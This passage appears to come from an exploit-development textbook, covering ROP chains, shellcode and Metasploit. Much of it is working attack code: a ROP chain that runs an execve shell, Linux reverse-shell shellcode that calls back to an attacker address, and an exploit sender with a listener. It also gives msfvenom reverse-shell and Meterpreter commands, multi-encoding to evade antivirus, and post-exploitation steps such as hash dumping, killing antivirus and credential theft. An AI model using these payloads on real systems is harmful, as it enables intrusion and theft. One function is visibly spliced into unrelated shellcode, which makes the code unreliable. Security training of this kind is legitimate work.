found\")\n            \n        return bad_found\n\n# Example usage (be careful!)\ntester = ShellcodeTester()\n\n# Example shellcode (should be replaced with actual generated shellcode)\nexample_shellcode = b\"\\x90\\x90\\x90\\x90\"  # NOP sled\n\ntester.find_bad_chars(example_shellcode)\n# tester.test_shellcode(example_shellcode)  # DANGEROUS - use with caution\n```\n\n### 15.4 Return Oriented Programming (ROP)\n\nROP is a technique that allows attackers to execute code despite defenses like non-executable memory (NX bit).\n\n#### 15.4.1 ROP Fundamentals\n\n```python\n#!/usr/bin/env python3\n# rop_fundamentals.py\n\nimport struct\n\nclass ROPBuilder:\n    def __init__(self, binary):\n        self.binary = binary\n        self.gadgets = []\n        self.chain = []\n        \n    def find_gadgets(self):\n        \"\"\"Find ROP gadgets (using ROPgadget tool)\"\"\"\n        \n        import subprocess\n        \n        print(f\"[*] Finding gadgets in {self.binary}...\")\n        \n        try:\n            result = subprocess.run(\n                ['ROPgadget', '--binary', self.binary],\n                capture_output=True,\n                text=True\n            )\n            \n            # Parse gadgets\n            for line in result.stdout.split('\\n'):\n                if '0x' in line and ':' in line:\n                    addr, gadget = line.split(':', 1)\n                    addr = int(addr.strip(), 16)\n                    gadget = gadget.strip()\n                    \n                    # Store interesting gadgets\n                    if 'pop' in gadget or 'ret' in gadget or 'int 0x80' in gadget:\n                        self.gadgets.append({\n                            'address': addr,\n                            'gadget': gadget\n                        })\n                        \n            print(f\"[+] Found {len(self.gadgets)} gadgets\")\n            \n        except FileNotFoundError:\n            print(\"[-] ROPgadget not found. Install with: pip install ropgadget\")\n            \n        return self.gadgets\n    \n    def build_execve_chain(self, binsh_addr):\n        \"\"\"Build ROP chain for execve syscall\"\"\"\n        \n        # Find necessary gadgets\n        pop_eax = self.find_gadget_by_instruction('pop eax')\n        pop_ebx = self.find_gadget_by_instruction('pop ebx')\n        pop_ecx = self.find_gadget_by_instruction('pop ecx')\n        pop_edx = self.find_gadget_by_instruction('pop edx')\n        int80 = self.find_gadget_by_instruction('int 0x80')\n        \n        if not all([pop_eax, pop_ebx, pop_ecx, pop_edx, int80]):\n            print(\"[-] Could not find all required gadgets\")\n            return None\n            \n        # Build chain\n        chain = []\n        \n        # Set eax = 11 (execve syscall)\n        chain.append(pop_eax['address'])\n        chain.append(11)\n        \n        # Set ebx = address of \"/bin/sh\"\n        chain.append(pop_ebx['address'])\n        chain.append(binsh_addr)\n        \n        # Set ecx = 0 (argv)\n        chain.append(pop_ecx['address'])\n        chain.append(0)\n        \n        # Set edx = 0 (envp)\n        chain.append(pop_edx['address'])\n        chain.append(0)\n        \n        # Execute syscall\n        chain.append(int80['address'])\n        \n        return chain\n    \n    def find_gadget_by_instruction(self, instruction):\n        \"\"\"Find gadget containing specific instruction\"\"\"\n        for gadget in self.gadgets:\n            if instruction in gadget['gadget']:\n                return gadget\n        return None\n    \n    def demonstrate_rop_chain(self):\n        \"\"\"Show ROP chain visualization\"\"\"\n        \n        print(\"\\n[+] ROP Chain Visualization:\")\n        print(\"    Stack grows downward (higher to lower addresses)\")\n        print(\"\\n    +-----------------+ &lt;-- ESP\")\n        print(\"    | gadget1_addr    |\")\n        print(\"    +-----------------+\")\n        print(\"    | param1          |\")\n        print(\"    +-----------------+\")\n        print(\"    | gadget2_addr    |\")\n        print(\"    +-----------------+\")\n        print(\"    | param2          |\")\n        print(\"    +-----------------+\")\n        print(\"    | gadget3_addr    |\")\n        print(\"    +-----------------+\")\n        print(\"    | ...             |\")\n        print(\"    +-----------------+\")\n        \n    def chain_to_bytes(self, chain):\n        \"\"\"Convert ROP chain to bytes for exploit\"\"\"\n        \n        if not chain:\n            return b''\n            \n        result = b''\n        for addr in chain:\n            result += struct.pack('H', lport)\n        shellcode += b\"\\x89\\xe1\\xb0\\x66\\x50\\x51\\x53\\xb3\\x03\\x89\\xe1\\xcd\\x80\"\n        shellcode += b\"\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\"\n        shellcode += b\"\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"\n        \n        return shellcode\n    \n    def test_exploit_local(self, binary_path, exploit_buffer):\n        \"\"\"Test exploit locally\"\"\"\n        \n        import subprocess\n        \n        try:\n            result = subprocess.run(\n                [binary_path, exploit_buffer],\n                capture_output=True,\n                timeout=2\n            )\n            return result.returncode != 0\n        except subprocess.TimeoutExpired:\n            return True  # Likely success (crashed)\n        except Exception as e:\n            print(f\"[-] Error: {e}\")\n            return False\n    \n    def send_exploit_network(self, exploit_buffer):\n        \"\"\"Send exploit over network\"\"\"\n        \n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((self.target, self.port))\n            \n            sock.send(exploit_buffer)\n            sock.close()\n            \n            print(f\"[+] Exploit sent to {self.target}:{self.port}\")\n            return True\n            \n        except Exception as e:\n            print(f\"[-] Network error: {e}\")\n            return False\n    \n    def setup_listener(self, lport):\n        \"\"\"Setup listener for reverse shell\"\"\"\n        \n        import threading\n        import socket\n        \n        def handle_connection(client, addr):\n            print(f\"[+] Connection from {addr}\")\n            while True:\n                try:\n                    data = client.recv(1024)\n                    if not data:\n                        break\n                    print(data.decode(), end='')\n                except:\n                    break\n            client.close()\n        \n        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        server.bind(('0.0.0.0', lport))\n        server.listen(1)\n        \n        print(f\"[*] Listening on 0.0.0.0:{lport}\")\n        \n        client, addr = server.accept()\n        handle_connection(client, addr)\n\n# Example usage\nexploit = CompleteExploit('192.168.1.100', 4444)\n\n# Build exploit\noffset = 64\nret_addr = 0xbffff5c0  # Example stack address\nlhost = '192.168.1.50'\nlport = 4444\n\nshellcode = exploit.get_linux_reverse_shell(lhost, lport)\nexploit_buffer = exploit.build_exploit_stack(offset, ret_addr, shellcode)\n\nprint(f\"[+] Exploit buffer size: {len(exploit_buffer)} bytes\")\nprint(f\"[+] Shellcode size: {len(shellcode)} bytes\")\n\n# Send exploit\n# exploit.send_exploit_network(exploit_buffer)\n\n# Setup listener for reverse shell\n# exploit.setup_listener(lport)\n```\n\n---\n\n## Chapter 16 \u2014 Metasploit Framework\n\nThe Metasploit Framework is the most widely used exploitation framework, providing a comprehensive platform for developing, testing, and executing exploits.\n\n### 16.1 Architecture\n\nUnderstanding Metasploit's architecture is essential for effective use and module development.\n\n#### 16.1.1 Metasploit Components\n\n```python\n#!/usr/bin/env python3\n# metasploit_architecture.py\n\nclass MetasploitArchitecture:\n    def __init__(self):\n        self.components = {\n            'libraries': {\n                'rex': 'Basic library for handling sockets, protocols, etc.',\n                'msfcore': 'Core framework libraries',\n                'msfbase': 'Base classes for all modules'\n            },\n            'interfaces': {\n                'console': 'msfconsole - Interactive console',\n                'cli': 'Command-line interface',\n                'gui': 'Armitage, Web interface',\n                'api': 'REST API for remote control'\n            },\n            'modules': {\n                'exploit': 'Code that triggers a vulnerability',\n                'payload': 'Code that runs after successful exploitation',\n                'auxiliary': 'Scanning, fuzzing, etc. (no payload)',\n                'encoder': 'Transforms payloads to avoid detection',\n                'nop': 'NOP generators for exploit padding',\n                'post': 'Post-exploitation modules'\n            },\n            'plugins': {\n                'nexpose': 'Nexpose integration',\n                'nessus': 'Nessus integration',\n                'openvas': 'OpenVAS integration'\n            }\n        }\n        \n    def show_module_types(self):\n        \"\"\"Display module type hierarchy\"\"\"\n        \n        print(\"[+] Metasploit Module Hierarchy:\")\n        print(\"    Module\")\n        print(\"    \u251c\u2500\u2500 Exploit\")\n        print(\"    \u2502   \u251c\u2500\u2500 Windows\")\n        print(\"    \u2502   \u251c\u2500\u2500 Linux\")\n        print(\"    \u2502   \u251c\u2500\u2500 OS X\")\n        print(\"    \u2502   \u2514\u2500\u2500 Multi-platform\")\n        print(\"    \u251c\u2500\u2500 Payload\")\n        print(\"    \u2502   \u251c\u2500\u2500 Singles\")\n        print(\"    \u2502   \u251c\u2500\u2500 Stagers\")\n        print(\"    \u2502   \u2514\u2500\u2500 Stages\")\n        print(\"    \u251c\u2500\u2500 Auxiliary\")\n        print(\"    \u2502   \u251c\u2500\u2500 Scanner\")\n        print(\"    \u2502   \u251c\u2500\u2500 Fuzzer\")\n        print(\"    \u2502   \u2514\u2500\u2500 Dos\")\n        print(\"    \u251c\u2500\u2500 Encoder\")\n        print(\"    \u2514\u2500\u2500 Post\")\n        \n    def explain_mixins(self):\n        \"\"\"Explain Ruby mixins in Metasploit\"\"\"\n        \n        print(\"\\n[+] Important Metasploit Mixins:\")\n        mixins = {\n            'Msf::Exploit::Remote::Tcp': 'TCP socket handling',\n            'Msf::Exploit::Remote::HttpClient': 'HTTP client functionality',\n            'Msf::Exploit::Remote::SMB': 'SMB protocol handling',\n            'Msf::Exploit::FileDropper': 'File upload/cleanup',\n            'Msf::Post::Windows::Priv': 'Windows privilege functions',\n            'Msf::Post::Linux::Priv': 'Linux privilege functions'\n        }\n        \n        for mixin, desc in mixins.items():\n            print(f\"  {mixin}: {desc}\")\n\n# Example usage\narch = MetasploitArchitecture()\narch.show_module_types()\narch.explain_mixins()\n```\n\n### 16.2 Modules\n\nMetasploit modules are the building blocks of the framework.\n\n#### 16.2.1 Module Structure\n\n```ruby\n# Example Metasploit module (Ruby)\n# save as exploit.rb\n\nclass MetasploitModule &lt; Msf::Exploit::Remote\n  Rank = ExcellentRanking\n  \n  include Msf::Exploit::Remote::Tcp\n  include Msf::Exploit::FileDropper\n  \n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           =&gt; 'Example Exploit Module',\n      'Description'    =&gt; %q{\n        This is an example exploit module showing the structure\n        of a Metasploit module.\n      },\n      'Author'         =&gt; ['Your Name'],\n      'License'        =&gt; MSF_LICENSE,\n      'References'     =&gt;\n        [\n          ['CVE', '2024-0001'],\n          ['EDB', '12345']\n        ],\n      'Platform'       =&gt; 'win',\n      'Targets'        =&gt;\n        [\n          ['Windows 10',\n            {\n              'Ret' =&gt; 0x41414141,\n              'Offset' =&gt; 64\n            }\n          ]\n        ],\n      'Payload'        =&gt;\n        {\n          'BadChars' =&gt; \"\\x00\\x0a\\x0d\"\n        },\n      'Privileged'     =&gt; false,\n      'DisclosureDate' =&gt; '2024-01-01'\n    ))\n    \n    register_options(\n      [\n        Opt::RPORT(80),\n        OptString.new('TARGETURI', [true, 'The target URI', '/vuln.php'])\n      ])\n  end\n  \n  def check\n    # Check if target is vulnerable\n    connect\n    # ... detection logic\n    disconnect\n    \n    return Exploit::CheckCode::Vulnerable\n  end\n  \n  def exploit\n    # Main exploitation logic\n    connect\n    \n    # Build buffer\n    buffer = rand_text_alpha(target['Offset'])\n    buffer &lt;&lt; [target['Ret']].pack('V')\n    buffer &lt;&lt; make_nops(16)\n    buffer &lt;&lt; payload.encoded\n    \n    # Send exploit\n    sock.put(buffer)\n    \n    handler\n    disconnect\n  end\nend\n```\n\n**Python Script to Generate Metasploit Module**:\n\n```python\n#!/usr/bin/env python3\n# msf_module_generator.py\n\nclass MSFModuleGenerator:\n    def __init__(self, module_name, module_type='exploit'):\n        self.name = module_name\n        self.type = module_type\n        self.template = \"\"\n        \n    def generate_exploit_module(self, options):\n        \"\"\"Generate exploit module template\"\"\"\n        \n        template = f'''\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule &lt; Msf::Exploit::Remote\n  Rank = {options.get('rank', 'NormalRanking')}\n  \n  include Msf::Exploit::Remote::Tcp\n  include Msf::Exploit::Remote::HttpClient\n  \n  def initialize(info = {{}})\n    super(update_info(info,\n      'Name'           =&gt; '{options.get('name', self.name)}',\n      'Description'    =&gt; %q{{\n        {options.get('description', 'Description here')}\n      }},\n      'Author'         =&gt; {options.get('author', ['Your Name'])},\n      'License'        =&gt; MSF_LICENSE,\n      'References'     =&gt; {options.get('references', [])},\n      'Platform'       =&gt; '{options.get('platform', 'win')}',\n      'Targets'        =&gt; {options.get('targets', [['Windows Universal', {{}}]])},\n      'Payload'        =&gt; {{\n        'BadChars' =&gt; {options.get('badchars', \"\\\\x00\\\\x0a\\\\x0d\")}\n      }},\n      'DisclosureDate' =&gt; '{options.get('disclosure_date', '2024-01-01')}'\n    ))\n    \n    register_options(\n      [\n        Opt::RPORT({options.get('port', 80)}),\n        OptString.new('TARGETURI', [true, 'The target URI', '{options.get('uri', '/')}'])\n      ])\n  end\n  \n  def check\n    # Check if target is vulnerable\n    res = send_request_cgi({{\n      'method' =&gt; 'GET',\n      'uri' =&gt; normalize_uri(target_uri.path)\n    }})\n    \n    if res &amp;&amp; res.code == 200\n      return Exploit::CheckCode::Vulnerable\n    end\n    \n    return Exploit::CheckCode::Safe\n  end\n  \n  def exploit\n    print_status(\"Exploiting target...\")\n    \n    # Build exploit buffer\n    buffer = rand_text_alpha(1024)\n    \n    # Send exploit\n    res = send_request_cgi({{\n      'method' =&gt; 'POST',\n      'uri' =&gt; normalize_uri(target_uri.path),\n      'data' =&gt; buffer\n    }})\n    \n    if res\n      print_status(\"Server responded with code: {{res.code}}\")\n    end\n    \n    handler\n  end\nend\n'''\n        return template\n    \n    def generate_auxiliary_module(self, options):\n        \"\"\"Generate auxiliary module template\"\"\"\n        \n        template = f'''\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule &lt; Msf::Auxiliary\n  include Msf::Auxiliary::Scanner\n  include Msf::Exploit::Remote::HttpClient\n  \n  def initialize(info = {{}})\n    super(update_info(info,\n      'Name'           =&gt; '{options.get('name', self.name)}',\n      'Description'    =&gt; %q{{\n        {options.get('description', 'Description here')}\n      }},\n      'Author'         =&gt; {options.get('author', ['Your Name'])},\n      'License'        =&gt; MSF_LICENSE,\n      'References'     =&gt; {options.get('references', [])}\n    ))\n    \n    register_options(\n      [\n        Opt::RPORT({options.get('port', 80)}),\n        OptString.new('TARGETURI', [true, 'The target URI', '{options.get('uri', '/')}'])\n      ])\n  end\n  \n  def run_host(ip)\n    print_status(\"Scanning {{ip}}\")\n    \n    res = send_request_cgi({{\n      'method' =&gt; 'GET',\n      'uri' =&gt; normalize_uri(target_uri.path)\n    }})\n    \n    if res &amp;&amp; res.code == 200\n      print_good(\"{{ip}} is accessible\")\n      # Extract information\n      store_loot(\"target_info\", \"text/plain\", ip, res.body)\n    end\n  end\nend\n'''\n        return template\n    \n    def save_module(self, filename):\n        \"\"\"Save generated module to file\"\"\"\n        with open(filename, 'w') as f:\n            f.write(self.template)\n        print(f\"[+] Module saved to {filename}\")\n\n# Example usage\ngenerator = MSFModuleGenerator('example_exploit')\n\n# Generate exploit module\noptions = {\n    'name': 'Example HTTP Exploit',\n    'description': 'This module exploits a buffer overflow in example app',\n    'author': ['John Doe'],\n    'references': [['CVE', '2024-1234']],\n    'platform': 'linux',\n    'targets': [['Linux Universal', {'Ret': 0x41414141}]],\n    'badchars': \"\\\\x00\\\\x0a\\\\x0d\",\n    'port': 8080,\n    'uri': '/vuln'\n}\n\ngenerator.template = generator.generate_exploit_module(options)\ngenerator.save_module('example_exploit.rb')\n```\n\n### 16.3 Payloads\n\nPayloads are the code that runs after successful exploitation.\n\n#### 16.3.1 Payload Types\n\n```python\n#!/usr/bin/env python3\n# msf_payloads.py\n\nclass MSFPayloads:\n    def __init__(self):\n        self.payload_types = {\n            'singles': 'Self-contained payloads that perform a specific task',\n            'stagers': 'Small payloads that download and execute the stage',\n            'stages': 'Larger payloads downloaded by stagers',\n            'inline': 'Payloads that run in the same process',\n            'meterpreter': 'Advanced multi-stage payload with extensive features'\n        }\n        \n        self.payload_categories = {\n            'shell_bind_tcp': 'Binds a shell to a local port',\n            'shell_reverse_tcp': 'Connects back with a shell',\n            'meterpreter_bind_tcp': 'Meterpreter bind payload',\n            'meterpreter_reverse_tcp': 'Meterpreter reverse payload',\n            'vnc_inject': 'VNC server injection',\n            'windows_exec': 'Execute an arbitrary command',\n            'linux_exec': 'Execute an arbitrary command',\n            'add_user': 'Add a user to the system'\n        }\n        \n    def explain_stagers(self):\n        \"\"\"Explain how stagers work\"\"\"\n        \n        print(\"[+] Stager Workflow:\")\n        print(\"    1. Exploit triggers stager (small, ~200-400 bytes)\")\n        print(\"    2. Stager connects back to attacker\")\n        print(\"    3. Stager receives and executes stage\")\n        print(\"    4. Stage provides full functionality (Meterpreter)\")\n        \n    def generate_msfvenom_commands(self, lhost, lport):\n        \"\"\"Generate common msfvenom commands\"\"\"\n        \n        commands = {\n            'linux_reverse_shell': f'msfvenom -p linux/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o shell.elf',\n            'windows_reverse_shell': f'msfvenom -p windows/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o shell.exe',\n            'linux_meterpreter': f'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o meterpreter.elf',\n            'windows_meterpreter': f'msfvenom -p windows/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f exe -o meterpreter.exe',\n            'php_reverse_shell': f'msfvenom -p php/reverse_php LHOST={lhost} LPORT={lport} -f raw -o shell.php',\n            'python_reverse_shell': f'msfvenom -p python/shell_reverse_tcp LHOST={lhost} LPORT={lport} -o shell.py',\n            'java_jsp_shell': f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -f raw -o shell.jsp',\n            'war_tomcat': f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -f war -o shell.war',\n            'apk_android': f'msfvenom -p android/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -o shell.apk',\n            'osx_reverse_shell': f'msfvenom -p osx/x86/shell_reverse_tcp LHOST={lhost} LPORT={lport} -f macho -o shell.macho'\n        }\n        \n        return commands\n    \n    def encode_payload(self, payload, encoder='x86/shikata_ga_nai', iterations=5):\n        \"\"\"Generate encoded payload command\"\"\"\n        \n        cmd = f'msfvenom -p {payload} -e {encoder} -i {iterations} -f raw'\n        return cmd\n    \n    def avoid_bad_chars(self, payload, bad_chars):\n        \"\"\"Generate command to avoid bad characters\"\"\"\n        \n        bad_str = '\\\\x' + '\\\\x'.join([f'{b:02x}' for b in bad_chars])\n        cmd = f'msfvenom -p {payload} -b \"{bad_str}\" -f raw'\n        return cmd\n    \n    def list_payloads(self, platform=None):\n        \"\"\"List available payloads\"\"\"\n        \n        import subprocess\n        \n        cmd = ['msfvenom', '--list', 'payloads']\n        if platform:\n            cmd.append('--platform')\n            cmd.append(platform)\n            \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            return result.stdout\n        except:\n            return \"msfvenom not found\"\n\n# Example usage\npayloads = MSFPayloads()\npayloads.explain_stagers()\n\ncommands = payloads.generate_msfvenom_commands('192.168.1.100', 4444)\nfor name, cmd in commands.items():\n    print(f\"\\n{name}:\")\n    print(f\"  {cmd}\")\n\n# Generate encoded payload\nencoded_cmd = payloads.encode_payload('windows/shell_reverse_tcp', 'x86/shikata_ga_nai', 5)\nprint(f\"\\nEncoded payload: {encoded_cmd}\")\n```\n\n### 16.4 Encoders\n\nEncoders transform payloads to avoid detection by signature-based AV and to remove bad characters.\n\n#### 16.4.1 Encoder Types\n\n```python\n#!/usr/bin/env python3\n# msf_encoders.py\n\nclass MSFEncoders:\n    def __init__(self):\n        self.encoders = {\n            'x86/shikata_ga_nai': {\n                'type': 'Polymorphic XOR Additive Feedback',\n                'effectiveness': 'High',\n                'detection': 'Commonly detected by modern AV',\n                'use_case': 'General purpose, most popular'\n            },\n            'x86/jmp_call_additive': {\n                'type': 'JMP/CALL Additive',\n                'effectiveness': 'Medium',\n                'detection': 'Less common',\n                'use_case': 'When shikata is detected'\n            },\n            'x86/alpha_mixed': {\n                'type': 'Alphanumeric Mixed Case',\n                'effectiveness': 'Low-Medium',\n                'detection': 'Good for restricted charsets',\n                'use_case': 'When only alphanumeric chars allowed'\n            },\n            'x86/alpha_upper': {\n                'type': 'Alphanumeric Uppercase',\n                'effectiveness': 'Low',\n                'detection': 'Very restricted',\n                'use_case': 'When only uppercase letters allowed'\n            },\n            'x86/call4_dword_xor': {\n                'type': 'Call+4 DWORD XOR',\n                'effectiveness': 'Medium',\n                'detection': 'Older, sometimes bypasses',\n                'use_case': 'Legacy systems'\n            },\n            'x86/countdown': {\n                'type': 'Countdown XOR',\n                'effectiveness': 'Low',\n                'detection': 'Simple pattern',\n                'use_case': 'When size is critical'\n            },\n            'x86/fnstenv_mov': {\n                'type': 'Floating point env',\n                'effectiveness': 'Medium',\n                'detection': 'Unusual instructions',\n                'use_case': 'Bypassing certain emulators'\n            },\n            'x86/context_cpuid': {\n                'type': 'CPUID-based',\n                'effectiveness': 'High',\n                'detection': 'Anti-emulation',\n                'use_case': 'VM detection bypass'\n            }\n        }\n        \n    def explain_multi_encoding(self):\n        \"\"\"Explain multi-encoder technique\"\"\"\n        \n        print(\"[+] Multi-Encoder Technique:\")\n        print(\"    1. Apply encoder A (e.g., shikata_ga_nai)\")\n        print(\"    2. Apply encoder B (e.g., alpha_mixed)\")\n        print(\"    3. Result is encoded multiple times\")\n        print(\"\\n    Command: msfvenom -p linux/x86/shell_reverse_tcp \\\\\")\n        print(\"             -e x86/shikata_ga_nai -i 5 \\\\\")\n        print(\"             -e x86/alpha_mixed -i 3 \\\\\")\n        print(\"             -f raw\")\n        \n    def generate_encoder_command(self, payload, encoders, iterations):\n        \"\"\"Generate multi-encoder command\"\"\"\n        \n        cmd = f'msfvenom -p {payload}'\n        \n        for encoder in encoders:\n            cmd += f' -e {encoder} -i {iterations}'\n            \n        cmd += ' -f raw'\n        return cmd\n    \n    def test_encoder_effectiveness(self, payload, encoder, av_list):\n        \"\"\"Simulate encoder testing against AV (conceptual)\"\"\"\n        \n        results = {}\n        for av in av_list:\n            # In reality, would test against actual AV\n            # This is just a simulation\n            import random\n            detection_rate = random.randint(0, 100)\n            results[av] = {\n                'detection_rate': detection_rate,\n                'bypass': detection_rate &lt; 30\n            }\n            \n        return results\n\n# Example usage\nencoders = MSFEncoders()\n\n# List encoders\nprint(\"[+] Available Encoders:\")\nfor name, info in encoders.encoders.items():\n    print(f\"\\n  {name}:\")\n    for key, value in info.items():\n        print(f\"    {key}: {value}\")\n\n# Generate multi-encoder command\ncmd = encoders.generate_encoder_command(\n    'windows/shell_reverse_tcp',\n    ['x86/shikata_ga_nai', 'x86/alpha_mixed'],\n    5\n)\nprint(f\"\\n[+] Multi-encoder command: {cmd}\")\n```\n\n### 16.5 Post Modules\n\nPost-exploitation modules run after successful exploitation to gather information, maintain access, or pivot.\n\n#### 16.5.1 Post-Exploitation Modules\n\n```python\n#!/usr/bin/env python3\n# msf_post_modules.py\n\nclass MSFPostModules:\n    def __init__(self):\n        self.post_categories = {\n            'gather': 'Information gathering (enumeration, credential harvesting)',\n            'manage': 'Session management (migrate, kill, etc.)',\n            'multi': 'Multi-platform modules',\n            'windows': 'Windows-specific post modules',\n            'linux': 'Linux-specific post modules',\n            'osx': 'OS X-specific post modules'\n        }\n        \n        self.common_modules = {\n            'windows/gather/hashdump': 'Dump Windows password hashes',\n            'windows/gather/cachedump': 'Dump cached domain credentials',\n            'windows/gather/enum_logged_on_users': 'Enumerate logged-on users',\n            'windows/gather/enum_shares': 'Enumerate network shares',\n            'windows/manage/migrate': 'Migrate Meterpreter to another process',\n            'windows/manage/killav': 'Kill antivirus processes',\n            'linux/gather/hashdump': 'Dump Linux password hashes',\n            'linux/gather/enum_configs': 'Gather configuration files',\n            'linux/gather/enum_network': 'Enumerate network configuration',\n            'linux/gather/enum_system': 'Enumerate system information',\n            'multi/gather/ssh_creds': 'Gather SSH credentials',\n            'multi/gather/firefox_creds': 'Gather Firefox saved credentials',\n            'multi/gather/run_console_rc': 'Run resource script'\n        }\n        \n    def explain_post_workflow(self):\n        \"\"\"Show post-exploitation workflow\"\"\"\n        \n        print(\"[+] Post-Exploitation Workflow:\")\n        steps = [\n            \"1. Establish stable session\",\n            \"2. Gather system information (sysinfo)\",\n            \"3. Elevate privileges (getsystem)\",\n            \"4. Dump credentials (hashdump)\",\n            \"5. Enumerate network (arp, netstat)\",\n            \"6. Pivot to other hosts\",\n            \"7. Maintain access (persistence)\",\n            \"8. Clear tracks\"\n        ]\n        \n        for step in steps:\n            print(f\"  {step}\")\n            \n    def run_post_module(self, session_id, module, options=None):\n        \"\"\"Simulate running a post module\"\"\"\n        \n        print(f\"[*] Running {module} on session {session_id}\")\n        \n        if options:\n            for opt, val in options.items():\n                print(f\"    {opt}: {val}\")\n                \n        # Simulate execution\n        print(\"[+] Module completed successfully\")\n        \n    def create_custom_post_module(self):\n        \"\"\"Generate custom post module template\"\"\"\n        \n        template = '''\n##\n# Custom post-exploitation module\n##\n\nclass MetasploitModule &lt; Msf::Post\n  include Msf::Post::File\n  include Msf::Post::Windows::Registry\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'          =&gt; 'Custom Post Module',\n      'Description'   =&gt; 'Custom post-exploitation module example',\n      'License'       =&gt; MSF_LICENSE,\n      'Author'        =&gt; ['Your Name'],\n      'Platform'      =&gt; ['win', 'linux'],\n      'SessionTypes'  =&gt; ['meterpreter', 'shell']\n    ))\n\n    register_options([\n      OptString.new('FILE', [true, 'File to download', '/etc/passwd'])\n    ])\n  end\n\n  def run\n    print_status(\"Running custom post module...\")\n    \n    # Download file\n    file_content = read_file(datastore['FILE'])\n    \n    if file_content\n      print_good(\"File downloaded successfully\")\n      \n      # Save to loot\n      loot_path = store_loot(\n        \"target.file\",\n        \"text/plain\",\n        session,\n        file_content,\n        \"target_file.txt\"\n      )\n      print_good(\"File saved to: #{loot_path}\")\n    else\n      print_error(\"Failed to download file\")\n    end\n  end\nend\n'''\n        return template\n\n# Example usage\npost = MSFPostModules()\npost.explain_post_workflow()\n\nprint(\"\\n[+] Common Post Modules:\")\nfor module, desc in post.common_modules.items():\n    print(f\"  {module}: {desc}\")\n\n# Generate custom module template\ncustom_module = post.create_custom_post_module()\nprint(\"\\n[+] Custom Post Module Template:\")\nprint(custom_module)\n```\n\n### 16.6 Writing Custom Modules\n\nCreating custom modules extends Metasploit's functionality for specific targets.\n\n#### 16.6.1 Module Development Process\n\n```python\n#!/usr/bin/env python3\n# msf_custom_module.py\n\nclass CustomModuleGenerator:\n    def __init__(self, module_name, module_type):\n        self.name = module_name\n        self.type = module_type\n        self.module_code = \"\"\n        \n    def generate_exploit(self, target_info):\n        \"\"\"Generate custom exploit module\"\"\"\n        \n        template = f'''\n##\n# Custom exploit for {target_info.get('name', 'Unknown Target')}\n##\n\nclass MetasploitModule &lt; Msf::Exploit::Remote\n  Rank = {target_info.get('rank', 'NormalRanking')}\n  \n  include Msf::Exploit::Remote::Tcp\n  include Msf::Exploit::Remote::HttpClient\n  \n  def initialize(info = {{}})\n    super(update_info(info,\n      'Name'           =&gt; '{target_info.get('name', self.name)}',\n      'Description'    =&gt; %q{{\n        {target_info.get('description', 'Description here')}\n      }},\n      'Author'         =&gt; {target_info.get('author', ['Your Name'])},\n      'License'        =&gt; MSF_LICENSE,\n      'References'     =&gt; {target_info.get('references', [])},\n      'Platform'       =&gt; '{target_info.get('platform', 'win')}',\n      'Targets'        =&gt; [\n        {', '.join([f\"['{t}', {{'Ret': {ret}}}]\" for t, ret in target_info.get('targets', {}).items()])}\n      ],\n      'Payload'        =&gt; {{\n        'BadChars' =&gt; {target_info.get('badchars', '')}\n      }},\n      'DisclosureDate' =&gt; '{target_info.get('date', '2024-01-01')}'\n    ))\n    \n    register_options([\n      Opt::RPORT({target_info.get('port', 80)}),\n      OptString.new('TARGETURI', [true, 'Path to vulnerable endpoint', '{target_info.get('path', '/')}'])\n    ])\n  end\n  \n  def check\n    # Check if target is vulnerable\n    res = send_request_cgi({{\n      'method' =&gt; 'GET',\n      'uri' =&gt; normalize_uri(target_uri.path)\n    }})\n    \n    if res &amp;&amp; res.code == 200 &amp;&amp; res.body =~ /{target_info.get('banner', 'vulnerable')}/\n      return Exploit::CheckCode::Vulnerable\n    end\n    \n    Exploit::CheckCode::Safe\n  end\n  \n  def exploit\n    print_status(\"Target: {{rhost}}:{{rport}}\")\n    \n    # Build exploit buffer\n    buffer = rand_text_alpha({target_info.get('offset', 1024)})\n    buffer &lt;&lt; [target.ret].pack('V')\n    buffer &lt;&lt; make_nops({target_info.get('nop_sled', 16)})\n    buffer &lt;&lt; payload.encoded\n    \n    # Send exploit\n    res = send_request_cgi({{\n      'method' =&gt; 'POST',\n      'uri' =&gt; normalize_uri(target_uri.path),\n      'data' =&gt; buffer\n    }})\n    \n    if res\n      print_status(\"Server responded with code: {{res.code}}\")\n    else\n      print_error(\"No response from target\")\n    end\n    \n    handler\n  end\nend\n'''\n        self.module_code = template\n        return template\n    \n    def generate_auxiliary(self, target_info):\n        \"\"\"Generate custom auxiliary module\"\"\"\n        \n        template = f'''\n##\n# Custom auxiliary module for {target_info.get('name', 'Unknown Target')}\n##\n\nclass MetasploitModule &lt; Msf::Auxiliary\n  include Msf::Auxiliary::Scanner\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Auxiliary::Report\n  \n  def initialize(info = {{}})\n    super(update_info(info,\n      'Name'           =&gt; '{target_info.get('name', self.name)}',\n      'Description'    =&gt; %q{{\n        {target_info.get('description', 'Description here')}\n      }},\n      'Author'         =&gt; {target_info.get('author', ['Your Name'])},\n      'License'        =&gt; MSF_LICENSE,\n      'References'     =&gt; {target_info.get('references', [])}\n    ))\n    \n    register_options([\n      Opt::RPORT({target_info.get('port', 80)}),\n      OptString.new('TARGETURI', [true, 'Path to scan', '{target_info.get('path', '/')}'])\n    ])\n  end\n  \n  def 